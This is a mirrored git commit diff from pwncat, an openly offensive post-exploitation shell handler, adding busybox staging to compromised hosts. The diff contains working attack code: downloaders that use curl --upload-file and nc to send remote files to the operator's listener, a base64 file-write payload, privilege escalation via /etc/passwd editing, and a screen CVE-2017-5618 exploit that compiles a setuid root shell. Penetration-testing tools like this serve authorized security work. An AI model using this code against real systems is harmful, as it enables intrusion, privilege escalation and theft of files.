mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added busybox staging. Still need to fix all the references to the new which method.
This commit is contained in:
parent
18e28be292
commit
96bdb89336
@ -3,6 +3,13 @@
|
|||||||
"name": "cat",
|
"name": "cat",
|
||||||
"read_file": "{path} {lfile}"
|
"read_file": "{path} {lfile}"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "cp",
|
||||||
|
"write_file": {
|
||||||
|
"type": "base64",
|
||||||
|
"payload": "TF=/tmp/.pwncat; echo {data} | base64 -d > $TF; {path} $TF ${lfile}; unlink $TF"
|
||||||
|
}
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "bash",
|
"name": "bash",
|
||||||
"shell": {
|
"shell": {
|
||||||
|
@ -22,11 +22,18 @@ def main():
|
|||||||
mutex_group.add_argument(
|
mutex_group.add_argument(
|
||||||
"--reverse",
|
"--reverse",
|
||||||
"-r",
|
"-r",
|
||||||
action="store_true",
|
action="store_const",
|
||||||
|
dest="type",
|
||||||
|
const="reverse",
|
||||||
help="Listen on the specified port for connections from a remote host",
|
help="Listen on the specified port for connections from a remote host",
|
||||||
)
|
)
|
||||||
mutex_group.add_argument(
|
mutex_group.add_argument(
|
||||||
"--bind", "-b", action="store_true", help="Connect to a remote host"
|
"--bind",
|
||||||
|
"-b",
|
||||||
|
action="store_const",
|
||||||
|
dest="type",
|
||||||
|
const="bind",
|
||||||
|
help="Connect to a remote host",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--host",
|
"--host",
|
||||||
@ -47,13 +54,13 @@ def main():
|
|||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--method",
|
"--method",
|
||||||
"-m",
|
"-m",
|
||||||
choices=["none", *PtyHandler.OPEN_METHODS.keys()],
|
choices=[*PtyHandler.OPEN_METHODS.keys()],
|
||||||
help="Method to create a pty on the remote host (default: script)",
|
help="Method to create a pty on the remote host (default: script)",
|
||||||
default="script",
|
default="script",
|
||||||
)
|
)
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
if args.reverse:
|
if args.type == "reverse":
|
||||||
# Listen on a socket for connections
|
# Listen on a socket for connections
|
||||||
util.info(f"binding to {args.host}:{args.port}", overlay=True)
|
util.info(f"binding to {args.host}:{args.port}", overlay=True)
|
||||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
@ -68,7 +75,7 @@ def main():
|
|||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
util.warn(f"aborting listener...")
|
util.warn(f"aborting listener...")
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
else:
|
elif args.type == "bind":
|
||||||
util.info(f"connecting to {args.host}:{args.port}", overlay=True)
|
util.info(f"connecting to {args.host}:{args.port}", overlay=True)
|
||||||
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
client.connect((args.host, args.port))
|
client.connect((args.host, args.port))
|
||||||
|
@ -15,7 +15,7 @@ class CurlDownloader(HTTPDownloader):
|
|||||||
|
|
||||||
lhost = self.pty.vars["lhost"]
|
lhost = self.pty.vars["lhost"]
|
||||||
lport = self.server.server_address[1]
|
lport = self.server.server_address[1]
|
||||||
curl = self.pty.which("curl")
|
curl = self.pty.which("curl", quote=True)
|
||||||
remote_path = shlex.quote(self.remote_path)
|
remote_path = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")
|
self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")
|
||||||
|
@ -15,7 +15,7 @@ class NetcatDownloader(RawDownloader):
|
|||||||
|
|
||||||
lhost = self.pty.vars["lhost"]
|
lhost = self.pty.vars["lhost"]
|
||||||
lport = self.server.server_address[1]
|
lport = self.server.server_address[1]
|
||||||
nc = self.pty.which("nc")
|
nc = self.pty.which("nc", quote=True)
|
||||||
remote_file = shlex.quote(self.remote_path)
|
remote_file = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")
|
self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")
|
||||||
|
@ -19,15 +19,17 @@ class RawShellDownloader(Downloader):
|
|||||||
|
|
||||||
remote_path = shlex.quote(self.remote_path)
|
remote_path = shlex.quote(self.remote_path)
|
||||||
blocksz = 1024 * 1024
|
blocksz = 1024 * 1024
|
||||||
binary = self.pty.which("dd")
|
binary = self.pty.which("dd", quote=True)
|
||||||
|
|
||||||
if binary is None:
|
if binary is None:
|
||||||
binary = self.pty.which("cat")
|
binary = self.pty.which("cat", quote=True)
|
||||||
|
|
||||||
if "dd" in binary:
|
if "dd" in binary:
|
||||||
pipe = self.pty.subprocess(f"dd if={remote_path} bs={blocksz} 2>/dev/null")
|
pipe = self.pty.subprocess(
|
||||||
|
f"{binary} if={remote_path} bs={blocksz} 2>/dev/null"
|
||||||
|
)
|
||||||
else:
|
else:
|
||||||
pipe = self.pty.subprocess(f"cat {remote_path}")
|
pipe = self.pty.subprocess(f"{binary} {remote_path}")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with open(self.local_path, "wb") as filp:
|
with open(self.local_path, "wb") as filp:
|
||||||
|
@ -14,7 +14,7 @@ from pwncat import util
|
|||||||
|
|
||||||
# privesc_methods = [SetuidMethod, SuMethod]
|
# privesc_methods = [SetuidMethod, SuMethod]
|
||||||
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
|
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
|
||||||
privesc_methods = [SuMethod, SudoMethod, SetuidMethod, ScreenMethod]
|
privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
|
||||||
# privesc_methods = [ScreenMethod]
|
# privesc_methods = [ScreenMethod]
|
||||||
|
|
||||||
|
|
||||||
@ -288,7 +288,8 @@ class Finder:
|
|||||||
raise PrivescError("privesc failed")
|
raise PrivescError("privesc failed")
|
||||||
|
|
||||||
# We need su to privesc w/ file write
|
# We need su to privesc w/ file write
|
||||||
if self.pty.which("su") is None:
|
su_command = self.pty.which("su", quote=True)
|
||||||
|
if su_command is None:
|
||||||
raise PrivescError("privesc failed")
|
raise PrivescError("privesc failed")
|
||||||
|
|
||||||
# Read the current content of /etc/passwd
|
# Read the current content of /etc/passwd
|
||||||
|
@ -24,7 +24,7 @@ from pwncat import util
|
|||||||
|
|
||||||
class ScreenMethod(Method):
|
class ScreenMethod(Method):
|
||||||
|
|
||||||
name = "screen CVE-2017-5618"
|
name = "screen (CVE-2017-5618)"
|
||||||
BINARIES = ["cc", "screen"]
|
BINARIES = ["cc", "screen"]
|
||||||
|
|
||||||
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||||
@ -113,15 +113,15 @@ class ScreenMethod(Method):
|
|||||||
writer.write_file(
|
writer.write_file(
|
||||||
rootshell_c,
|
rootshell_c,
|
||||||
textwrap.dedent(
|
textwrap.dedent(
|
||||||
"""
|
f"""
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
int main(void){
|
int main(void){{
|
||||||
setuid(0);
|
setuid(0);
|
||||||
setgid(0);
|
setgid(0);
|
||||||
seteuid(0);
|
seteuid(0);
|
||||||
setegid(0);
|
setegid(0);
|
||||||
execvp("/bin/sh", NULL, NULL);
|
execvp("{self.pty.shell}", NULL, NULL);
|
||||||
}
|
}}
|
||||||
"""
|
"""
|
||||||
).lstrip(),
|
).lstrip(),
|
||||||
)
|
)
|
||||||
|
212
pwncat/pty.py
212
pwncat/pty.py
@ -15,6 +15,8 @@ from prompt_toolkit.document import Document
|
|||||||
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
|
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
|
||||||
from prompt_toolkit.lexers import PygmentsLexer
|
from prompt_toolkit.lexers import PygmentsLexer
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import requests
|
||||||
|
import tempfile
|
||||||
import logging
|
import logging
|
||||||
import argparse
|
import argparse
|
||||||
import base64
|
import base64
|
||||||
@ -176,7 +178,7 @@ class PtyHandler:
|
|||||||
"script",
|
"script",
|
||||||
]
|
]
|
||||||
|
|
||||||
def __init__(self, client: socket.SocketType):
|
def __init__(self, client: socket.SocketType, has_pty: bool = False):
|
||||||
""" Initialize a new Pty Handler. This will handle creating the PTY and
|
""" Initialize a new Pty Handler. This will handle creating the PTY and
|
||||||
setting the local terminal to raw. It also maintains the state to open a
|
setting the local terminal to raw. It also maintains the state to open a
|
||||||
local terminal if requested and exit raw mode. """
|
local terminal if requested and exit raw mode. """
|
||||||
@ -190,8 +192,13 @@ class PtyHandler:
|
|||||||
self.known_users = {}
|
self.known_users = {}
|
||||||
self.vars = {"lhost": util.get_ip_addr()}
|
self.vars = {"lhost": util.get_ip_addr()}
|
||||||
self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]"
|
self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]"
|
||||||
self.remote_prompt = "\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ "
|
self.remote_prompt = (
|
||||||
|
"\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\["
|
||||||
|
"\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ "
|
||||||
|
)
|
||||||
self.prompt = self.build_prompt_session()
|
self.prompt = self.build_prompt_session()
|
||||||
|
self.has_busybox = False
|
||||||
|
self.busybox_path = None
|
||||||
self.binary_aliases = {
|
self.binary_aliases = {
|
||||||
"python": [
|
"python": [
|
||||||
"python2",
|
"python2",
|
||||||
@ -204,6 +211,7 @@ class PtyHandler:
|
|||||||
"sh": ["bash", "zsh", "dash"],
|
"sh": ["bash", "zsh", "dash"],
|
||||||
"nc": ["netcat", "ncat"],
|
"nc": ["netcat", "ncat"],
|
||||||
}
|
}
|
||||||
|
self.has_pty = has_pty
|
||||||
|
|
||||||
# Setup the argument parsers for local the local prompt
|
# Setup the argument parsers for local the local prompt
|
||||||
self.setup_command_parsers()
|
self.setup_command_parsers()
|
||||||
@ -327,9 +335,114 @@ class PtyHandler:
|
|||||||
|
|
||||||
self.privesc = privesc.Finder(self)
|
self.privesc = privesc.Finder(self)
|
||||||
|
|
||||||
|
# Attempt to identify architecture
|
||||||
|
self.arch = self.run("uname -m").decode("utf-8").strip()
|
||||||
|
|
||||||
# Force the local TTY to enter raw mode
|
# Force the local TTY to enter raw mode
|
||||||
self.enter_raw()
|
self.enter_raw()
|
||||||
|
|
||||||
|
def bootstrap_busybox(self, url, method):
|
||||||
|
""" Utilize the architecture we grabbed from `uname -m` to grab a
|
||||||
|
precompiled busybox binary and upload it to the remote machine. This
|
||||||
|
makes uploading/downloading and dependency tracking easier. It also
|
||||||
|
makes file upload/download safer, since we have a known good set of
|
||||||
|
commands we can run (rather than relying on GTFObins) """
|
||||||
|
|
||||||
|
if self.has_busybox:
|
||||||
|
util.success("busybox is already available!")
|
||||||
|
return
|
||||||
|
|
||||||
|
busybox_remote_path = self.which("busybox")
|
||||||
|
|
||||||
|
if busybox_remote_path is None:
|
||||||
|
|
||||||
|
# We use the stable busybox version at the time of writing. This should
|
||||||
|
# probably be configurable.
|
||||||
|
busybox_url = url.rstrip("/") + "/busybox-{arch}"
|
||||||
|
|
||||||
|
# Attempt to download the busybox binary
|
||||||
|
r = requests.get(busybox_url.format(arch=self.arch), stream=True)
|
||||||
|
|
||||||
|
# No busybox support
|
||||||
|
if r.status_code == 404:
|
||||||
|
util.warn(f"no busybox for architecture: {self.arch}")
|
||||||
|
return
|
||||||
|
|
||||||
|
with ProgressBar(f"downloading busybox for {self.arch}") as pb:
|
||||||
|
counter = pb(int(r.headers["Content-Length"]))
|
||||||
|
with tempfile.NamedTemporaryFile("wb", delete=False) as filp:
|
||||||
|
last_update = time.time()
|
||||||
|
busybox_local_path = filp.name
|
||||||
|
for chunk in r.iter_content(chunk_size=1024 * 1024):
|
||||||
|
filp.write(chunk)
|
||||||
|
counter.items_completed += len(chunk)
|
||||||
|
if (time.time() - last_update) > 0.1:
|
||||||
|
pb.invalidate()
|
||||||
|
counter.stopped = True
|
||||||
|
pb.invalidate()
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
# Stage a temporary file for busybox
|
||||||
|
busybox_remote_path = (
|
||||||
|
self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()
|
||||||
|
)
|
||||||
|
|
||||||
|
# Upload busybox using the best known method to the remote server
|
||||||
|
self.do_upload(
|
||||||
|
["-m", method, "-o", busybox_remote_path, busybox_local_path]
|
||||||
|
)
|
||||||
|
|
||||||
|
# Make busybox executable
|
||||||
|
self.run(f"chmod +x {shlex.quote(busybox_remote_path)}")
|
||||||
|
|
||||||
|
# Remove local busybox copy
|
||||||
|
os.unlink(busybox_local_path)
|
||||||
|
|
||||||
|
util.success(
|
||||||
|
f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}"
|
||||||
|
)
|
||||||
|
|
||||||
|
else:
|
||||||
|
# Busybox was provided on the system!
|
||||||
|
util.success(f"busybox already installed on remote system!")
|
||||||
|
|
||||||
|
# Check what this busybox provides
|
||||||
|
util.progress("enumerating provided applets")
|
||||||
|
pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list")
|
||||||
|
provides = pipe.read().decode("utf-8").strip().split("\n")
|
||||||
|
pipe.close()
|
||||||
|
|
||||||
|
# prune any entries which the system marks as SETUID or SETGID
|
||||||
|
stat = self.which("stat", quote=True)
|
||||||
|
|
||||||
|
if stat is not None:
|
||||||
|
util.progress("enumerating remote binary permissions")
|
||||||
|
which_provides = [f"`which {p}`" for p in provides]
|
||||||
|
permissions = (
|
||||||
|
self.run(f"{stat} -c %A {' '.join(which_provides)}")
|
||||||
|
.decode("utf-8")
|
||||||
|
.strip()
|
||||||
|
.split("\n")
|
||||||
|
)
|
||||||
|
new_provides = []
|
||||||
|
for name, perms in zip(provides, permissions):
|
||||||
|
if "No such" in perms:
|
||||||
|
# The remote system doesn't have this binary
|
||||||
|
continue
|
||||||
|
if "s" not in perms.lower():
|
||||||
|
util.progress(f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox")
|
||||||
|
new_provides.append(name)
|
||||||
|
else:
|
||||||
|
util.progress(f"pruning {Fore.RED}{name}{Fore.RESET} from busybox")
|
||||||
|
|
||||||
|
util.success(f"pruned {len(provides)-len(new_provides)} setuid entries")
|
||||||
|
provides = new_provides
|
||||||
|
|
||||||
|
# Let the class know we now have access to busybox
|
||||||
|
self.busybox_provides = provides
|
||||||
|
self.has_busybox = True
|
||||||
|
self.busybox_path = busybox_remote_path
|
||||||
|
|
||||||
def build_prompt_session(self):
|
def build_prompt_session(self):
|
||||||
""" This is kind of gross because of the nested completer, so I broke
|
""" This is kind of gross because of the nested completer, so I broke
|
||||||
it out on it's own. The nested completer must be updated separately
|
it out on it's own. The nested completer must be updated separately
|
||||||
@ -372,11 +485,18 @@ class PtyHandler:
|
|||||||
style=PwncatStyle,
|
style=PwncatStyle,
|
||||||
)
|
)
|
||||||
|
|
||||||
def which(self, name: str, request=True) -> str:
|
def which(self, name: str, request=True, quote=False) -> str:
|
||||||
""" Call which on the remote host and return the path. The results are
|
""" Call which on the remote host and return the path. The results are
|
||||||
cached to decrease the number of remote calls. """
|
cached to decrease the number of remote calls. """
|
||||||
path = None
|
path = None
|
||||||
|
|
||||||
|
if self.has_busybox:
|
||||||
|
if name in self.busybox_provides:
|
||||||
|
if quote:
|
||||||
|
return f"{shlex.quote(self.busybox_path)} {name}"
|
||||||
|
else:
|
||||||
|
return f"{self.busybox_path} {name}"
|
||||||
|
|
||||||
if name in self.known_binaries and self.known_binaries[name] is not None:
|
if name in self.known_binaries and self.known_binaries[name] is not None:
|
||||||
# Cached value available
|
# Cached value available
|
||||||
path = self.known_binaries[name]
|
path = self.known_binaries[name]
|
||||||
@ -389,13 +509,16 @@ class PtyHandler:
|
|||||||
if name in self.binary_aliases and path is None:
|
if name in self.binary_aliases and path is None:
|
||||||
# Look for aliases of this command as a last resort
|
# Look for aliases of this command as a last resort
|
||||||
for alias in self.binary_aliases[name]:
|
for alias in self.binary_aliases[name]:
|
||||||
path = self.which(alias)
|
path = self.which(alias, quote=False)
|
||||||
if path is not None:
|
if path is not None:
|
||||||
break
|
break
|
||||||
|
|
||||||
# Cache the value
|
# Cache the value
|
||||||
self.known_binaries[name] = path
|
self.known_binaries[name] = path
|
||||||
|
|
||||||
|
if quote:
|
||||||
|
path = shlex.quote(path)
|
||||||
|
|
||||||
return path
|
return path
|
||||||
|
|
||||||
def process_input(self, data: bytes):
|
def process_input(self, data: bytes):
|
||||||
@ -492,6 +615,31 @@ class PtyHandler:
|
|||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@with_parser
|
||||||
|
def do_busybox(self, args):
|
||||||
|
""" Attempt to upload a busybox binary which we can use as a consistent
|
||||||
|
interface to local functionality """
|
||||||
|
|
||||||
|
if args.action == "list":
|
||||||
|
if not self.has_busybox:
|
||||||
|
util.error("busybox hasn't been installed yet (hint: run 'busybox'")
|
||||||
|
return
|
||||||
|
util.info("binaries which the remote busybox provides:")
|
||||||
|
for name in self.busybox_provides:
|
||||||
|
print(f" * {name}")
|
||||||
|
elif args.action == "status":
|
||||||
|
if not self.has_busybox:
|
||||||
|
util.error("busybox hasn't been installed yet")
|
||||||
|
return
|
||||||
|
util.info(
|
||||||
|
f"busybox is installed to: {Fore.BLUE}{self.busybox_path}{Fore.RESET}"
|
||||||
|
)
|
||||||
|
util.info(
|
||||||
|
f"busybox provides {Fore.GREEN}{len(self.busybox_provides)}{Fore.RESET} applets"
|
||||||
|
)
|
||||||
|
elif args.action == "install":
|
||||||
|
self.bootstrap_busybox(args.url, args.method)
|
||||||
|
|
||||||
@with_parser
|
@with_parser
|
||||||
def do_back(self, _):
|
def do_back(self, _):
|
||||||
""" Exit command mode """
|
""" Exit command mode """
|
||||||
@ -859,6 +1007,9 @@ class PtyHandler:
|
|||||||
command = f" {cmd}"
|
command = f" {cmd}"
|
||||||
|
|
||||||
response = b""
|
response = b""
|
||||||
|
eol = b"\r"
|
||||||
|
if self.has_cr:
|
||||||
|
eol = b"\r"
|
||||||
|
|
||||||
# Send the command to the remote host
|
# Send the command to the remote host
|
||||||
self.client.send(command.encode("utf-8") + b"\n")
|
self.client.send(command.encode("utf-8") + b"\n")
|
||||||
@ -866,10 +1017,10 @@ class PtyHandler:
|
|||||||
if delim:
|
if delim:
|
||||||
if self.has_echo:
|
if self.has_echo:
|
||||||
# Recieve line ending from output
|
# Recieve line ending from output
|
||||||
self.recvuntil(b"_PWNCAT_STARTDELIM_")
|
# print(1, self.recvuntil(b"_PWNCAT_STARTDELIM_"))
|
||||||
self.recvuntil(b"\n", interp=True)
|
self.recvuntil(b"\n", interp=True)
|
||||||
|
|
||||||
self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True) # first in output
|
self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True)
|
||||||
self.recvuntil(b"\n", interp=True)
|
self.recvuntil(b"\n", interp=True)
|
||||||
|
|
||||||
return b"_PWNCAT_ENDDELIM_"
|
return b"_PWNCAT_ENDDELIM_"
|
||||||
@ -969,7 +1120,7 @@ class PtyHandler:
|
|||||||
self.upload_parser.add_argument(
|
self.upload_parser.add_argument(
|
||||||
"--method",
|
"--method",
|
||||||
"-m",
|
"-m",
|
||||||
choices=uploader.get_names(),
|
choices=["", *uploader.get_names()],
|
||||||
default=None,
|
default=None,
|
||||||
help="set the download method (default: auto)",
|
help="set the download method (default: auto)",
|
||||||
)
|
)
|
||||||
@ -999,6 +1150,53 @@ class PtyHandler:
|
|||||||
|
|
||||||
self.back_parser = argparse.ArgumentParser(prog="back")
|
self.back_parser = argparse.ArgumentParser(prog="back")
|
||||||
|
|
||||||
|
self.busybox_parser = argparse.ArgumentParser(prog="busybox")
|
||||||
|
self.busybox_parser.add_argument(
|
||||||
|
"--method",
|
||||||
|
"-m",
|
||||||
|
choices=uploader.get_names(),
|
||||||
|
default="",
|
||||||
|
help="set the upload method (default: auto)",
|
||||||
|
)
|
||||||
|
self.busybox_parser.add_argument(
|
||||||
|
"--url",
|
||||||
|
"-u",
|
||||||
|
default=(
|
||||||
|
"https://busybox.net/downloads/binaries/"
|
||||||
|
"1.31.0-defconfig-multiarch-musl/"
|
||||||
|
),
|
||||||
|
help=(
|
||||||
|
"url to download multiarch busybox binaries"
|
||||||
|
"(default: 1.31.0-defconfig-multiarch-musl)"
|
||||||
|
),
|
||||||
|
)
|
||||||
|
group = self.busybox_parser.add_mutually_exclusive_group(required=True)
|
||||||
|
group.add_argument(
|
||||||
|
"--install",
|
||||||
|
"-i",
|
||||||
|
action="store_const",
|
||||||
|
dest="action",
|
||||||
|
const="install",
|
||||||
|
default="install",
|
||||||
|
help="install busybox support for pwncat",
|
||||||
|
)
|
||||||
|
group.add_argument(
|
||||||
|
"--list",
|
||||||
|
"-l",
|
||||||
|
action="store_const",
|
||||||
|
dest="action",
|
||||||
|
const="list",
|
||||||
|
help="list all provided applets from the remote busybox",
|
||||||
|
)
|
||||||
|
group.add_argument(
|
||||||
|
"--status",
|
||||||
|
"-s",
|
||||||
|
action="store_const",
|
||||||
|
dest="action",
|
||||||
|
const="status",
|
||||||
|
help="show current pwncat busybox status",
|
||||||
|
)
|
||||||
|
|
||||||
def whoami(self):
|
def whoami(self):
|
||||||
result = self.run("whoami")
|
result = self.run("whoami")
|
||||||
return result.strip().decode("utf-8")
|
return result.strip().decode("utf-8")
|
||||||
|
@ -7,6 +7,7 @@ from pwncat.uploader.curl import CurlUploader
|
|||||||
from pwncat.uploader.shell import ShellUploader
|
from pwncat.uploader.shell import ShellUploader
|
||||||
from pwncat.uploader.bashtcp import BashTCPUploader
|
from pwncat.uploader.bashtcp import BashTCPUploader
|
||||||
from pwncat.uploader.wget import WgetUploader
|
from pwncat.uploader.wget import WgetUploader
|
||||||
|
from pwncat.uploader.raw import RawShellUploader
|
||||||
|
|
||||||
all_uploaders = [
|
all_uploaders = [
|
||||||
NetcatUploader,
|
NetcatUploader,
|
||||||
@ -14,6 +15,7 @@ all_uploaders = [
|
|||||||
ShellUploader,
|
ShellUploader,
|
||||||
BashTCPUploader,
|
BashTCPUploader,
|
||||||
WgetUploader,
|
WgetUploader,
|
||||||
|
RawShellUploader,
|
||||||
]
|
]
|
||||||
uploaders = [NetcatUploader, CurlUploader]
|
uploaders = [NetcatUploader, CurlUploader]
|
||||||
fallback = ShellUploader
|
fallback = ShellUploader
|
||||||
@ -27,6 +29,9 @@ def get_names() -> List[str]:
|
|||||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]:
|
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]:
|
||||||
""" Locate an applicable uploader """
|
""" Locate an applicable uploader """
|
||||||
|
|
||||||
|
if hint == "":
|
||||||
|
hint = None
|
||||||
|
|
||||||
if hint is not None:
|
if hint is not None:
|
||||||
# Try to return the requested uploader
|
# Try to return the requested uploader
|
||||||
for d in all_uploaders:
|
for d in all_uploaders:
|
||||||
|
@ -132,6 +132,7 @@ class RawUploader(Uploader):
|
|||||||
|
|
||||||
# Make sure it is accessible to the subclass
|
# Make sure it is accessible to the subclass
|
||||||
local_path = self.local_path
|
local_path = self.local_path
|
||||||
|
pty = self.pty
|
||||||
|
|
||||||
class SocketWrapper:
|
class SocketWrapper:
|
||||||
def __init__(self, sock):
|
def __init__(self, sock):
|
||||||
@ -139,7 +140,7 @@ class RawUploader(Uploader):
|
|||||||
|
|
||||||
def write(self, n: int):
|
def write(self, n: int):
|
||||||
try:
|
try:
|
||||||
return self.s.sendall(n)
|
return self.s.send(n)
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
return b""
|
return b""
|
||||||
|
|
||||||
@ -150,6 +151,7 @@ class RawUploader(Uploader):
|
|||||||
with open(local_path, "rb") as filp:
|
with open(local_path, "rb") as filp:
|
||||||
util.copyfileobj(filp, SocketWrapper(self.request), on_progress)
|
util.copyfileobj(filp, SocketWrapper(self.request), on_progress)
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
pty.client.send(util.CTRL_C)
|
||||||
|
|
||||||
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
||||||
|
|
||||||
|
57
pwncat/uploader/raw.py
Normal file
57
pwncat/uploader/raw.py
Normal file
@ -0,0 +1,57 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from typing import Generator, Callable
|
||||||
|
from io import BufferedReader
|
||||||
|
import base64
|
||||||
|
import shlex
|
||||||
|
import socket
|
||||||
|
import os
|
||||||
|
|
||||||
|
from pwncat.uploader.base import Uploader, UploadError
|
||||||
|
from pwncat import util
|
||||||
|
|
||||||
|
|
||||||
|
class RawShellUploader(Uploader):
|
||||||
|
|
||||||
|
NAME = "raw"
|
||||||
|
BINARIES = ["dd"]
|
||||||
|
BLOCKSZ = 8192
|
||||||
|
|
||||||
|
def command(self) -> Generator[str, None, None]:
|
||||||
|
""" Yield list of commands to transfer the file """
|
||||||
|
|
||||||
|
remote_path = shlex.quote(self.remote_path)
|
||||||
|
file_sz = os.path.getsize(self.local_path) - 1
|
||||||
|
|
||||||
|
# Put the remote terminal in raw mode
|
||||||
|
self.pty.raw()
|
||||||
|
|
||||||
|
self.pty.process(
|
||||||
|
f"dd of={remote_path} bs=1 count={file_sz} 2>/dev/null", delim=False
|
||||||
|
)
|
||||||
|
|
||||||
|
pty = self.pty
|
||||||
|
|
||||||
|
class SocketWrapper:
|
||||||
|
def write(self, data):
|
||||||
|
try:
|
||||||
|
n = pty.client.send(data)
|
||||||
|
except socket.error:
|
||||||
|
return 0
|
||||||
|
return n
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(self.local_path, "rb") as filp:
|
||||||
|
util.copyfileobj(filp, SocketWrapper(), self.on_progress)
|
||||||
|
finally:
|
||||||
|
self.on_progress(0, -1)
|
||||||
|
|
||||||
|
# Get back to a terminal
|
||||||
|
self.pty.client.send(util.CTRL_C)
|
||||||
|
self.pty.reset()
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def serve(self, on_progress: Callable):
|
||||||
|
""" We don't need to start a server, but we do need to save the
|
||||||
|
callback """
|
||||||
|
self.on_progress = on_progress
|
Loading…
Reference in New Issue
Block a user